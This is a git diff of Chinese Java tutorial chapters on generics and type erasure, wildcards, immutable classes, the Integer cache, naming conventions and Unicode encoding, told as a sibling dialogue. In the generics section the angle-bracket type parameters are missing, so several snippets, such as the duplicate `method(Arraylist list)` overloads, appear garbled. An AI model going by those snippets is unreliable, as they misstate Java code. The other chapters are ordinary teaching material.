Object[initialCapacity]; + } + + public boolean add(E e) { + elementData[size++] = e; + return true; + } + + E elementData(int index) { + return (E) elementData[index]; + } +} +``` + +反编译后的结果如下。 + +```java +// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. +// Jad home page: http://www.kpdus.com/jad.html +// Decompiler options: packimports(3) +// Source File Name: Arraylist2.java + +package com.cmower.java_demo.fanxing; + + +// Referenced classes of package com.cmower.java_demo.fanxing: +// Wanger + +class Arraylist2 +{ + + public Arraylist2(int initialCapacity) + { + size = 0; + elementData = new Object[initialCapacity]; + } + + public boolean add(Wanger e) + { + elementData[size++] = e; + return true; + } + + Wanger elementData(int index) + { + return (Wanger)elementData[index]; + } + + private Object elementData[]; + private int size; +} +``` + +“你看,类型变量 `` 不见了,E 被替换成了 `Wanger`”,我说,“通过以上两个例子说明,Java 虚拟机会将泛型的类型变量擦除,并替换为限定类型(没有限定的话,就用 `Object`)” + +“二哥,类型擦除会有什么问题吗?”三妹又问了一个很有水平的问题。 + +“三妹啊,你还别说,类型擦除真的会有一些问题。”我说,“来看一下这段代码。” + +```java +public class Cmower { + + public static void method(Arraylist list) { + System.out.println("Arraylist list"); + } + + public static void method(Arraylist list) { + System.out.println("Arraylist list"); + } + +} +``` + +在浅层的意识上,我们会想当然地认为 `Arraylist list` 和 `Arraylist list` 是两种不同的类型,因为 String 和 Date 是不同的类。 + +但由于类型擦除的原因,以上代码是不会通过编译的——编译器会提示一个错误(这正是类型擦除引发的那些“问题”): + +>Erasure of method method(Arraylist) is the same as another method in type + Cmower +> +>Erasure of method method(Arraylist) is the same as another method in type + Cmower + +大致的意思就是,这两个方法的参数类型在擦除后是相同的。 + +也就是说,`method(Arraylist list)` 和 `method(Arraylist list)` 是同一种参数类型的方法,不能同时存在。类型变量 `String` 和 `Date` 在擦除后会自动消失,method 方法的实际参数是 `Arraylist list`。 + +有句俗话叫做:“百闻不如一见”,但即使见到了也未必为真——泛型的擦除问题就可以很好地佐证这个观点。 + +“哦,明白了。二哥,听说泛型还有通配符?” + +“三妹啊,哥突然觉得你很适合作一枚可爱的程序媛啊!你这预习的功课做得可真到家啊,连通配符都知道!” + +通配符使用英文的问号(?)来表示。在我们创建一个泛型对象时,可以使用关键字 `extends` 限定子类,也可以使用关键字 `super` 限定父类。 + +我们来看下面这段代码。 + +```java +class Arraylist { + private Object[] elementData; + private int size = 0; + + public Arraylist(int initialCapacity) { + this.elementData = new Object[initialCapacity]; + } + + public boolean add(E e) { + elementData[size++] = e; + return true; + } + + public E get(int index) { + return (E) elementData[index]; + } + + public int indexOf(Object o) { + if (o == null) { + for (int i = 0; i < size; i++) + if (elementData[i]==null) + return i; + } else { + for (int i = 0; i < size; i++) + if (o.equals(elementData[i])) + return i; + } + return -1; + } + + public boolean contains(Object o) { + return indexOf(o) >= 0; + } + + public String toString() { + StringBuilder sb = new StringBuilder(); + + for (Object o : elementData) { + if (o != null) { + E e = (E)o; + sb.append(e.toString()); + sb.append(',').append(' '); + } + } + return sb.toString(); + } + + public int size() { + return size; + } + + public E set(int index, E element) { + E oldValue = (E) elementData[index]; + elementData[index] = element; + return oldValue; + } +} +``` + +1)新增 `indexOf(Object o)` 方法,判断元素在 `Arraylist` 中的位置。注意参数为 `Object` 而不是泛型 `E`。 + +2)新增 `contains(Object o)` 方法,判断元素是否在 `Arraylist` 中。注意参数为 `Object` 而不是泛型 `E`。 + +3)新增 `toString()` 方法,方便对 `Arraylist` 进行打印。 + +4)新增 `set(int index, E element)` 方法,方便对 `Arraylist` 元素的更改。 + +因为泛型擦除的原因,`Arraylist list = new Arraylist();` 这样的语句是无法通过编译的,尽管 Wangxiaoer 是 Wanger 的子类。但如果我们确实需要这种 “向上转型” 的关系,该怎么办呢?这时候就需要通配符来发挥作用了。 + +利用 `` 形式的通配符,可以实现泛型的向上转型,来看例子。 + +```java +Arraylist list2 = new Arraylist<>(4); +list2.add(null); +// list2.add(new Wanger()); +// list2.add(new Wangxiaoer()); + +Wanger w2 = list2.get(0); +// Wangxiaoer w3 = list2.get(1); +``` + +list2 的类型是 `Arraylist`,翻译一下就是,list2 是一个 `Arraylist`,其类型是 `Wanger` 及其子类。 + +注意,“关键”来了!list2 并不允许通过 `add(E e)` 方法向其添加 `Wanger` 或者 `Wangxiaoer` 的对象,唯一例外的是 `null`。 + +“那就奇了怪了,既然不让存放元素,那要 `Arraylist` 这样的 list2 有什么用呢?”三妹好奇地问。 + +虽然不能通过 `add(E e)` 方法往 list2 中添加元素,但可以给它赋值。 + +```java +Arraylist list = new Arraylist<>(4); + +Wanger wanger = new Wanger(); +list.add(wanger); + +Wangxiaoer wangxiaoer = new Wangxiaoer(); +list.add(wangxiaoer); + +Arraylist list2 = list; + +Wanger w2 = list2.get(1); +System.out.println(w2); + +System.out.println(list2.indexOf(wanger)); +System.out.println(list2.contains(new Wangxiaoer())); +``` + +`Arraylist list2 = list;` 语句把 list 的值赋予了 list2,此时 `list2 == list`。由于 list2 不允许往其添加其他元素,所以此时它是安全的——我们可以从容地对 list2 进行 `get()`、`indexOf()` 和 `contains()`。想一想,如果可以向 list2 添加元素的话,这 3 个方法反而变得不太安全,它们的值可能就会变。 + +利用 `` 形式的通配符,可以向 Arraylist 中存入父类是 `Wanger` 的元素,来看例子。 + +```java +Arraylist list3 = new Arraylist<>(4); +list3.add(new Wanger()); +list3.add(new Wangxiaoer()); + +// Wanger w3 = list3.get(0); +``` + +需要注意的是,无法从 `Arraylist` 这样类型的 list3 中取出数据。 + +“三妹,关于泛型,这里还有一篇很不错的文章,你等会去看一下。”我说。 + +>https://www.pdai.tech/md/java/basic/java-basic-x-generic.html + +“对泛型机制讲的也很透彻,你结合二哥给你讲的这些,再深入的学习一下。” + +“好的,二哥。” + + diff --git a/docs/basic-extra-meal/immutable.md b/docs/basic-extra-meal/immutable.md new file mode 100644 index 0000000000..bdd188ae44 --- /dev/null +++ b/docs/basic-extra-meal/immutable.md @@ -0,0 +1,200 @@ + + +>二哥,你能给我说说为什么 String 是 immutable 类(不可变对象)吗?我想研究它,想知道为什么它就不可变了,这种强烈的愿望就像想研究浩瀚的星空一样。但无奈自身功力有限,始终觉得雾里看花终隔一层。二哥你的文章总是充满趣味性,我想一定能够说明白,我也一定能够看明白,能在接下来写一写吗? + +收到读者小 R 的私信后,我就总感觉自己有一种义不容辞的责任,非要把 immutable 类说明白不可! + +*PS:star 这种事,只能求,不求没效果,铁子们,《Java 程序员进阶之路》在 GitHub 上已经收获了 523 枚星标,铁子们赶紧去点点了,冲 600 star*! + +>https://github.com/itwanger/toBeBetterJavaer + + +### 01、什么是不可变类 + +一个类的对象在通过构造方法创建后如果状态不会再被改变,那么它就是一个不可变(immutable)类。它的所有成员变量的赋值仅在构造方法中完成,不会提供任何 setter 方法供外部类去修改。 + +还记得《神雕侠侣》中小龙女的古墓吗?随着那一声巨响,仅有的通道就被无情地关闭了。别较真那个密道,我这么说只是为了打开你的想象力,让你对不可变类有一个更直观的印象。 + +自从有了多线程,生产力就被无限地放大了,所有的程序员都爱它,因为强大的硬件能力被充分地利用了。但与此同时,所有的程序员都对它心生忌惮,因为一不小心,多线程就会把对象的状态变得混乱不堪。 + +为了保护状态的原子性、可见性、有序性,我们程序员可以说是竭尽所能。其中,synchronized(同步)关键字是最简单最入门的一种解决方案。 + +假如说类是不可变的,那么对象的状态就也是不可变的。这样的话,每次修改对象的状态,就会产生一个新的对象供不同的线程使用,我们程序员就不必再担心并发问题了。 + +### 02、常见的不可变类 + +提到不可变类,几乎所有的程序员第一个想到的,就是 String 类。那为什么 String 类要被设计成不可变的呢? + +1)常量池的需要 + +字符串常量池是 Java 堆内存中一个特殊的存储区域,当创建一个 String 对象时,假如此字符串在常量池中不存在,那么就创建一个;假如已经存,就不会再创建了,而是直接引用已经存在的对象。这样做能够减少 JVM 的内存开销,提高效率。 + +2)hashCode 的需要 + +因为字符串是不可变的,所以在它创建的时候,其 hashCode 就被缓存了,因此非常适合作为哈希值(比如说作为 HashMap 的键),多次调用只返回同一个值,来提高效率。 + +3)线程安全 + +就像之前说的那样,如果对象的状态是可变的,那么在多线程环境下,就很容易造成不可预期的结果。而 String 是不可变的,就可以在多个线程之间共享,不需要同步处理。 + +因此,当我们调用 String 类的任何方法(比如说 `trim()`、`substring()`、`toLowerCase()`)时,总会返回一个新的对象,而不影响之前的值。 + +```java +String cmower = "沉默王二,一枚有趣的程序员"; +cmower.substring(0,4); +System.out.println(cmower);// 沉默王二,一枚有趣的程序员 +``` + +虽然调用 `substring()` 方法对 cmower 进行了截取,但 cmower 的值没有改变。 + +除了 String 类,包装器类 Integer、Long 等也是不可变类。 + +### 03、手撸不可变类 + +看懂一个不可变类也许容易,但要创建一个自定义的不可变类恐怕就有点难了。但知难而进是我们作为一名优秀的程序员不可或缺的品质,正因为不容易,我们才能真正地掌握它。 + +接下来,就请和我一起,来自定义一个不可变类吧。一个不可变诶,必须要满足以下 4 个条件: + +1)确保类是 final 的,不允许被其他类继承。 + +2)确保所有的成员变量(字段)是 final 的,这样的话,它们就只能在构造方法中初始化值,并且不会在随后被修改。 + +3)不要提供任何 setter 方法。 + +4)如果要修改类的状态,必须返回一个新的对象。 + +按照以上条件,我们来自定义一个简单的不可变类 Writer。 + +```java +public final class Writer { + private final String name; + private final int age; + + public Writer(String name, int age) { + this.name = name; + this.age = age; + } + + public int getAge() { + return age; + } + + public String getName() { + return name; + } +} +``` + +Writer 类是 final 的,name 和 age 也是 final 的,没有 setter 方法。 + +OK,据说这个作者分享了很多博客,广受读者的喜爱,因此某某出版社找他写了一本书(Book)。Book 类是这样定义的: + +```java +public class Book { + private String name; + private int price; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getPrice() { + return price; + } + + public void setPrice(int price) { + this.price = price; + } + + @Override + public String toString() { + return "Book{" + + "name='" + name + '\'' + + ", price=" + price + + '}'; + } +} +``` + +2 个字段,分别是 name 和 price,以及 getter 和 setter,重写后的 `toString()` 方法。然后,在 Writer 类中追加一个可变对象字段 book。 + +```java +public final class Writer { + private final String name; + private final int age; + private final Book book; + + public Writer(String name, int age, Book book) { + this.name = name; + this.age = age; + this.book = book; + } + + public int getAge() { + return age; + } + + public String getName() { + return name; + } + + public Book getBook() { + return book; + } +} +``` + +并在构造方法中追加了 Book 参数,以及 Book 的 getter 方法。 + +完成以上工作后,我们来新建一个测试类,看看 Writer 类的状态是否真的不可变。 + +```java +public class WriterDemo { + public static void main(String[] args) { + Book book = new Book(); + book.setName("Web全栈开发进阶之路"); + book.setPrice(79); + + Writer writer = new Writer("沉默王二",18, book); + System.out.println("定价:" + writer.getBook()); + writer.getBook().setPrice(59); + System.out.println("促销价:" + writer.getBook()); + } +} +``` + +程序输出的结果如下所示: + +```java +定价:Book{name='Web全栈开发进阶之路', price=79} +促销价:Book{name='Web全栈开发进阶之路', price=59} +``` + +糟糕,Writer 类的不可变性被破坏了,价格发生了变化。为了解决这个问题,我们需要为不可变类的定义规则追加一条内容: + +如果一个不可变类中包含了可变类的对象,那么就需要确保返回的是可变对象的副本。也就是说,Writer 类中的 `getBook()` 方法应该修改为: + +```java +public Book getBook() { + Book clone = new Book(); + clone.setPrice(this.book.getPrice()); + clone.setName(this.book.getName()); + return clone; +} +``` + +这样的话,构造方法初始化后的 Book 对象就不会再被修改了。此时,运行 WriterDemo,就会发现价格不再发生变化了。 + +``` +定价:Book{name='Web全栈开发进阶之路', price=79} +促销价:Book{name='Web全栈开发进阶之路', price=79} +``` + +### 04、总结 + +不可变类有很多优点,就像之前提到的 String 类那样,尤其是在多线程环境下,它非常的安全。尽管每次修改都会创建一个新的对象,增加了内存的消耗,但这个缺点相比它带来的优点,显然是微不足道的——无非就是捡了西瓜,丢了芝麻。 + diff --git a/docs/basic-extra-meal/int-cache.md b/docs/basic-extra-meal/int-cache.md new file mode 100644 index 0000000000..6440e50504 --- /dev/null +++ b/docs/basic-extra-meal/int-cache.md @@ -0,0 +1,163 @@ + + +“三妹,今天我们来补一个小的知识点:Java 数据类型缓存池。”我喝了一口枸杞泡的茶后对三妹说,“考你一个问题哈:`new Integer(18) 与 Integer.valueOf(18) ` 的区别是什么?” + +“难道不一样吗?”三妹有点诧异。 + +“不一样的。”我笑着说。 + +- `new Integer(18)` 每次都会新建一个对象; +- `Integer.valueOf(18)` 会使⽤用缓存池中的对象,多次调用只会取同⼀一个对象的引用。 + +来看下面这段代码: + +```java +Integer x = new Integer(18); +Integer y = new Integer(18); +System.out.println(x == y); + +Integer z = Integer.valueOf(18); +Integer k = Integer.valueOf(18); +System.out.println(z == k); + +Integer m = Integer.valueOf(300); +Integer p = Integer.valueOf(300); +System.out.println(m == p); +``` + +来看一下输出结果吧: + +``` +false +true +false +``` + +“第一个 false,我知道原因,因为 new 出来的是不同的对象,地址不同。”三妹解释道,“第二个和第三个我认为都应该是 true 啊,为什么第三个会输出 false 呢?这个我理解不了。” + +“其实原因也很简单。”我胸有成竹地说。 + +基本数据类型的包装类除了 Float 和 Double 之外,其他六个包装器类(Byte、Short、Integer、Long、Character、Boolean)都有常量缓存池。 + +- Byte:-128~127,也就是所有的 byte 值 +- Short:-128~127 +- Long:-128~127 +- Character:\u0000 - \u007F +- Boolean:true 和 false + +拿 Integer 来举例子,Integer 类内部中内置了 256 个 Integer 类型的缓存数据,当使用的数据范围在 -128~127 之间时,会直接返回常量池中数据的引用,而不是创建对象,超过这个范围时会创建新的对象。 + + 18 在 -128~127 之间,300 不在。 + +来看一下 valueOf 方法的源码吧。 + +```java +public static Integer valueOf(int i) { + if (i >=IntegerCache.low && i <=IntegerCache.high) + return IntegerCache.cache[i + (-IntegerCache.low)]; + return new Integer(i); +} +``` + +“哦,原来是因为 Integer.IntegerCache 这个内部类的原因啊!”三妹好像发现了新大陆。 + +“是滴。来看一下 IntegerCache 这个静态内部类的源码吧。” + +```java +private static class IntegerCache { + static final int low = -128; + static final int high; + static final Integer cache[]; + + static { + // high value may be configured by property + int h = 127; + String integerCacheHighPropValue = + sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high"); + if (integerCacheHighPropValue != null) { + try { + int i = parseInt(integerCacheHighPropValue); + i = Math.max(i, 127); + // Maximum array size is Integer.MAX_VALUE + h = Math.min(i, Integer.MAX_VALUE - (-low) -1); + } catch( NumberFormatException nfe) { + // If the property cannot be parsed into an int, ignore it. + } + } + high = h; + + cache = new Integer[(high - low) + 1]; + int j = low; + for(int k = 0; k < cache.length; k++) + cache[k] = new Integer(j++); + + // range [-128, 127] must be interned (JLS7 5.1.7) + assert Integer.IntegerCache.high >= 127; + } + + private IntegerCache() {} +} +``` + + + +之前我们在[学习 static 关键字](https://github.com/itwanger/toBeBetterJavaer/blob/master/docs/keywords/java-static.md)的时候,提到过静态代码块,还记得吧?三妹。静态代码块通常用来初始化一些静态变量,它会优先于 main() 方法执行。 + +在静态代码块中,low 为 -128,也就是缓存池的最小值;high 默认为 127,也就是缓存池的最大值,共计 256 个。 + +*可以在 JVM 启动的时候,通过 `-XX:AutoBoxCacheMax=NNN` 来设置缓存池的大小,当然了,不能无限大,最大到 `Integer.MAX_VALUE -129`* + +之后,初始化 cache 数组的大小,然后遍历填充,下标从 0 开始。 + +“明白了吧?三妹。”我喝了一口水后,扭头看了看旁边的三妹。 + +“这段代码不难理解,难理解的是 `assert Integer.IntegerCache.high >= 127;`,这行代码是干嘛的呀?”三妹很是不解。 + +“哦哦,你挺细心的呀!”三妹真不错,求知欲望越来越强烈了。 + +assert 是 Java 中的一个关键字,寓意是断言,为了方便调试程序,并不是发布程序的组成部分。 + +默认情况下,断言是关闭的,可以在命令行运行 Java 程序的时候加上 `-ea` 参数打开断言。 + +来看这段代码。 + +```java +public class AssertTest { + public static void main(String[] args) { + int high = 126; + assert high >= 127; + } +} +``` + +假设手动设置的缓存池大小为 126,显然不太符合缓存池的预期值 127,结果会输出什么呢? + +直接在 Intellij IDEA 中打开命令行终端,进入 classes 文件,执行: + +``` + /usr/libexec/java_home -v 1.8 --exec java -ea com.itwanger.s51.AssertTest +``` + +*我用的 macOS 环境,装了好多个版本的 JDK,该命令可以切换到 JDK 8* + +也可以不指定 Java 版本直接执行(加上 `-ea` 参数): + +``` +java -ea com.itwanger.s51.AssertTest +``` + +“呀,报错了呀。”三妹喊道。 + +``` +Exception in thread "main" java.lang.AssertionError + at com.itwanger.s51.AssertTest.main(AssertTest.java:9) +``` + +“是滴,因为 126 小于 127。”我回答道。 + +“原来 asset 是这样用的啊,我明白了。”三妹表示学会了。 + +“那,缓存池之所以存在的原因也是因为这样做可以提高程序的整体性能,因为相对来说,比如说 Integer,-128~127 这个范围内的 256 个数字使用的频率会高一点。”我总结道。 + +“get 了!二哥你真棒,又学到了。”三妹很开心~ + diff --git a/docs/src/basic-extra-meal/java-naming.md b/docs/basic-extra-meal/java-naming.md similarity index 81% rename from docs/src/basic-extra-meal/java-naming.md rename to docs/basic-extra-meal/java-naming.md index 10e6e3663a..53f9a52865 100644 --- a/docs/src/basic-extra-meal/java-naming.md +++ b/docs/basic-extra-meal/java-naming.md @@ -1,17 +1,3 @@ ---- -title: 5 分钟编码,1 小时命名,笑 -shortTitle: Java命名规范 -category: - - Java核心 -tag: - - Java语法基础 -description: 本文介绍了Java编程中的命名规范,以帮助程序员编写可读性强、易于维护的代码。我们将从变量、方法、类和接口命名等方面讲解最佳实践,以便在项目中保持一致的代码风格。学习并实践这些命名规范,将使你成为更出色的Java程序员。 -author: 沉默王二 -head: - - - meta - - name: keywords - content: Java,Java命名规范, 变量命名, 方法命名, 类命名, 接口命名, 代码风格, 代码质量 ---- “二哥,Java 中的命名约定都有哪些呢?”三妹的脸上泛着甜甜的笑容,她开始对接下来要学习的内容充满期待了,这正是我感到欣慰的地方。 @@ -25,27 +11,32 @@ head: 拿我这个笔名“沉默王二”来举例吧,读起来我就觉得朗朗上口,读者看到这个笔名就知道我是一个什么样的人——对不熟的人保持沉默,对熟的人妙语连珠,哈哈。 ->当然了,如果你暂时记不住也没关系,后面再回头来记一下就好了。 - ### 01、包(package) 包的命名应该遵守以下规则: - 应该全部是小写字母 + - 点分隔符之间有且仅有一个自然语义的英语单词 + - 包名统一使用单数形式,比如说 `com.itwanger.util` 不能是 `com.itwanger.utils` + - 在最新的 Java 编程规范中,要求开发人员在自己定义的包名前加上唯一的前缀。由于互联网上的域名是不会重复的,所以多数开发人员采用自己公司(或者个人博客)在互联网上的域名称作为包的唯一前缀。比如我文章中出现的代码示例的包名就是 `package com.itwanger`。 + ### 02、类(class) 类的命名应该遵守以下规则: - 必须以大写字母开头 + - 最好是一个名词,比如说 System + - 类名使用 UpperCamelCase(驼峰式命名)风格 -- 尽量不要省略成单词的首字母,但以下情形例外:DO/BO/DTO/VO/AO/PO/UID 等 -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/fifteen-01.png) +- 尽量不要省略成单词的首字母,但以下情形例外:DO/BO/DTO/VO/AO/ PO / UID 等 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-grammar/fifteen-01.png) 另外,如果是抽象类的话,使用 Abstract 或 Base 开头;如果是异常类的话,使用 Exception 结尾;如果是测试类的话,使用 Test 结尾。 @@ -54,7 +45,9 @@ head: 接口的命名应该遵守以下规则: - 必须以大写字母开头 + - 最好是一个形容词,比如说 Runnable + - 尽量不要省略成单词的首字母 来看个例子: @@ -66,6 +59,7 @@ interface Printable {} 接口和实现类之间也有一些规则: - 实现类用 Impl 的后缀与接口区别,比如说 CacheServiceImpl 实现 CacheService 接口 + - 或者,AbstractTranslator 实现 Translatable 接口 ### 04、字段(field)和变量(variable) @@ -73,10 +67,15 @@ interface Printable {} 字段和变量的命名应该遵守以下规则: - 必须以小写字母开头 + - 可以包含多个单词,第一个单词的首字母小写,其他的单词首字母大写,比如说 `firstName` + - 最好不要使用单个字符,比如说 `int a`,除非是局部变量 + - 类型与中括号紧挨相连来表示数组,比如说 `int[] arrayDemo`,main 方法中字符串数组参数不应该写成 `String args[]` + - POJO 类中的任何布尔类型的变量,都不要加 is 前缀,否则部分框架解析会引起序列化错误,我自己知道的有 fastjson + - 避免在子类和父类的成员变量之间、或者不同代码块的局部变量之间采用完全相同的命名,使可理解性降低。子类、父类成员变量名相同,即使是 public 类型的变量也能够通过编译,另外,局部变量在同一方法内的不同代码块中同名也是合法的,这些情况都要避免。 反例: @@ -108,7 +107,9 @@ class Son extends ConfusingName { 常量的命名应该遵守以下规则: - 应该全部是大写字母 + - 可以包含多个单词,单词之间使用“_”连接,比如说 `MAX_PRIORITY`,力求语义表达完整清楚,不要嫌名字长 + - 可以包含数字,但不能以数字开头 来看个例子: @@ -117,12 +118,15 @@ class Son extends ConfusingName { static final int MIN_AGE = 18; ``` + ### 06、方法(method) 方法的命名应该遵守以下规则: - 必须以小写字母开头 + - 最好是一个动词,比如说 `print()` + - 可以包含多个单词,第一个单词的首字母小写,其他的单词首字母大写,比如说 `actionPerformed()` 来看个例子: @@ -134,10 +138,15 @@ void writeBook(){} Service/DAO 层的方法命名规约: - 获取单个对象的方法用 get 做前缀 + - 获取多个对象的方法用 list 做前缀,复数结尾,如:listObjects + - 获取统计值的方法用 count 做前缀 + - 插入的方法用 save/insert 做前缀 + - 删除的方法用 remove/delete 做前缀 + - 修改的方法用 update 做前缀 @@ -157,9 +166,6 @@ Service/DAO 层的方法命名规约: ----- -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/basic-extra-meal/java-unicode.md b/docs/basic-extra-meal/java-unicode.md new file mode 100644 index 0000000000..dcbb6c8f90 --- /dev/null +++ b/docs/basic-extra-meal/java-unicode.md @@ -0,0 +1,166 @@ + + +“二哥,[上一篇](https://mp.weixin.qq.com/s/twim3w_dp5ctCigjLGIbFw)文章中提到了 Unicode,说 Java 中的 + char 类型之所以占 2 个字节,是因为 Java 使用的是 Unicode 字符集而不是 ASCII 字符集,我有点迷,想了解一下,能细致给我说说吗?” + +“当然没问题啊,三妹。” + +**1)ASCII** + +对于计算机来说,只认 0 和 1,所有的信息最终都是一个二进制数。一个二进制数要么是 0,要么是 1,所以 8 个二进制数放在一起(一个字节),就会组合出 256 种状态,也就是 2 的 8 次方(`2^8`),从 00000000 到 11111111。 + +ASCII 码由电报码发展而来,第一版标准发布于 1963 年,最后一次更新则是在1986 年,至今为止共定义了 128 个字符。其中 33 个字符无法显示在一般的设备上,需要用特殊的设备才能显示。 + +ASCII 码的局限在于只能显示 26 个基本拉丁字母、阿拉伯数字和英式标点符号,因此只能用于显示现代美国英语,对于其他一些语言则无能无力,比如在法语中,字母上方有注音符号,它就无法用 ASCII 码表示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/ten-01.png) + +PS:拉丁字母(也称为罗马字母)是多数欧洲语言采用的字母系统,是世界上最通行的字母文字系统,是罗马文明的成果之一。 + +虽然名称上叫作拉丁字母,但拉丁文中并没有用 J、U 和 W 这三个字母。 + +在我们的印象中,可能说拉丁字母多少有些陌生,说英语字母可能就有直观的印象了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/ten-02.png) + +PPS:阿拉伯数字,我们都很熟悉了。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/ten-03.png) + +但是,阿拉伯数字并非起源于阿拉伯,而是起源于古印度。学过历史的我们应该有一些印象,阿拉伯分布于西亚和北非,以阿拉伯语为主要语言,以伊斯兰教为主要信仰。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/ten-04.png) + +处在这样的地理位置,做起东亚和欧洲的一些生意就很有优势,于是阿拉伯数字就由阿拉伯人传到了欧洲,因此得名。 + +PPPS:英式标点符号,也叫英文标点符号,和中文标点符号很相近。标点符号是辅助文字记录语言的符号,是书面语的组成部分,用来表示停顿、加强语气等。 + +英文标点符号在 16 世纪时,分为朗诵学派和句法学派,主要由古典时期的希腊文和拉丁文演变而来,在 17 世纪后进入稳定阶段。俄文的标点符号依据希腊文而来,到了 18 世纪后也采用了英文标点符号。 + +在很多人的印象中,古文是没有标点符号的,但管锡华博士研究指出,中国早在先秦时代就有标点符号了,后来融合了一些英文标点符号后,逐渐形成了现在的中文标点符号。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/ten-05.png) + + +**2)Unicode** + +这个世界上,除了英语,还有法语、葡萄牙语、西班牙语、德语、俄语、阿拉伯语、韩语、日语等等等等。ASCII 码用来表示英语是绰绰有余的,但其他这些语言就没办法了。 + +像我们的母语,博大精深,汉字的数量很多很多,东汉的《说文解字》收字 9353 个,清朝《康熙字典》收字 47035 个,当代的《汉语大字典》收字 60370 个。1994 年中华书局、中国友谊出版公司出版的《中华字海》收字 85568 个。 + +PS:常用字大概 2500 个,次常用字 1000 个。 + +一个字节只能表示 256 种符号,所以如果拿 ASCII 码来表示汉字的话,是远远不够用的,那就必须要用更多的字节。简体中文常见的编码方式是 GB2312,使用两个字节表示一个汉字,理论上最多可以表示 256 x 256 = 65536 个符号。 + +要知道,世界上存在着多种编码方式,同一个二进制数字可以被解释成不同的符号。因此,要想打开一个文本文件,就必须知道它的编码方式,否则用错误的编码方式解读,就会出现乱码。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/ten-06.png) + +PPS:这“锟斤拷”价格挺公道的啊!!!(逃 + +如果有一种编码,将世界上所有的符号都纳入其中。每一个符号都给予一个独一无二的编码,那么乱码问题就会彻底消失。 + +这个艰巨的任务有谁来完成呢?**Unicode**,中文译作万国码、国际码、统一码、单一码,就像它的名字都表示的,这是一种所有符号的编码。 + +Unicode 至今仍在不断增修,每个新版本都会加入更多新的字符。目前最新的版本为 2020 年 3 月公布的 13.0,收录了 13 万个字符。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/ten-07.png) + +Unicode 是一个很大的集合,现在的规模可以容纳 100 多万个符号。每个符号的编码都不一样,比如,`U+0639`表示阿拉伯字母 `Ain`,`U+0041` 表示英语的大写字母 `A`,`U+4E25` 表示汉字`严`。 + +具体的符号对应表,可以查询 [unicode.org](http://www.unicode.org/),或者专门的[汉字对应表](http://www.chi2ko.com/tool/CJK.htm)。 + +曾有人这样说: + +>Unicode 支持的字符上限是 65536 个,Unicode 字符必须占两个字节。 + +但这是一种误解,记住,Unicode 只是一个用来映射字符和数字的标准。它对支持字符的数量没有限制,也不要求字符必须占两个、三个或者其它任意数量的字节,所以它可以无穷大。 + +Unicode 虽然统一了全世界字符的编码,但没有规定如何存储。如果统一规定的话,每个符号就要用 3 个或 4 个字节表示,因为 2 个字节只能表示 65536 个,根本表示不全。 + +那怎么办呢? + +UTF(Unicode Transformation Formats,Unicode 的编码方式)来了!最常见的就是 UTF-8 和 UTF-16。 + +在 UTF-8 中,0-127 号的字符用 1 个字节来表示,使用和 ASCII 相同的编码。只有 128 号及以上的字符才用 2 个、3 个或者 4 个字节来表示。 + +如果只有一个字节,那么最高的比特位为 0;如果有多个字节,那么第一个字节从最高位开始,连续有几个比特位的值为 1,就使用几个字节编码,剩下的字节均以 10 开头。 + +具体的表现形式为: + +0xxxxxxx:一个字节; +110xxxxx 10xxxxxx:两个字节编码形式(开始两个 1); +1110xxxx 10xxxxxx 10xxxxxx:三字节编码形式(开始三个 1); +11110xxx 10xxxxxx 10xxxxxx 10xxxxxx:四字节编码形式(开始四个 1)。 + +也就是说,UTF-8 是一种可变长度的编码方式——这是它的优势也是劣势。 + +怎么讲呢?优势就是它包罗万象,劣势就是浪费空间。举例来说吧,UTF-8 采用了 3 个字节(256*256*256=16777216)来编码常用的汉字,但常用的汉字没有这么多,这对于计算机来说,就是一种严重的资源浪费。 + +基于这样的考虑,中国国家标准总局于 1980 年发布了 GB 2312 编码,即中华人民共和国国家标准简体中文字符集。GB 2312 标准共收录 6763 个汉字(2 个字节就够用了),其中一级汉字 3755 个,二级汉字 3008 个;同时收录了包括拉丁字母、希腊字母、日文平假名及片假名字母、俄语西里尔字母在内的 682 个字符。 + +GB 2312 的出现,基本满足了汉字的计算机处理需求。对于人名、古汉语等方面出现的罕用字和繁体字,GB 2312 不能处理,就有了 GBK(K 为“扩展”的汉语拼音(kuòzhǎn)第一个声母)。 + +来看一段代码: + +```java +public class Demo { + public static void main(String[] args) { + String wanger = "沉默王二"; + byte[] bytes = wanger.getBytes(Charset.forName("GBK")); + String result = new String(bytes, Charset.forName("UTF-8")); + System.out.println(result); + } +} +``` + +先用 GBK 编码,再用 UTF-8 解码,程序会输出什么呢? + +``` +��Ĭ���� +``` + +嘿嘿,乱码来了!在 Unicode 中,� 是一个特殊的符号,它用来表示无法显示,它的十六进制是 `0xEF 0xBF 0xBD`。那么两个 �� 就是 `0xEF 0xBF 0xBD 0xEF 0xBF 0xBD`,如果用 GBK 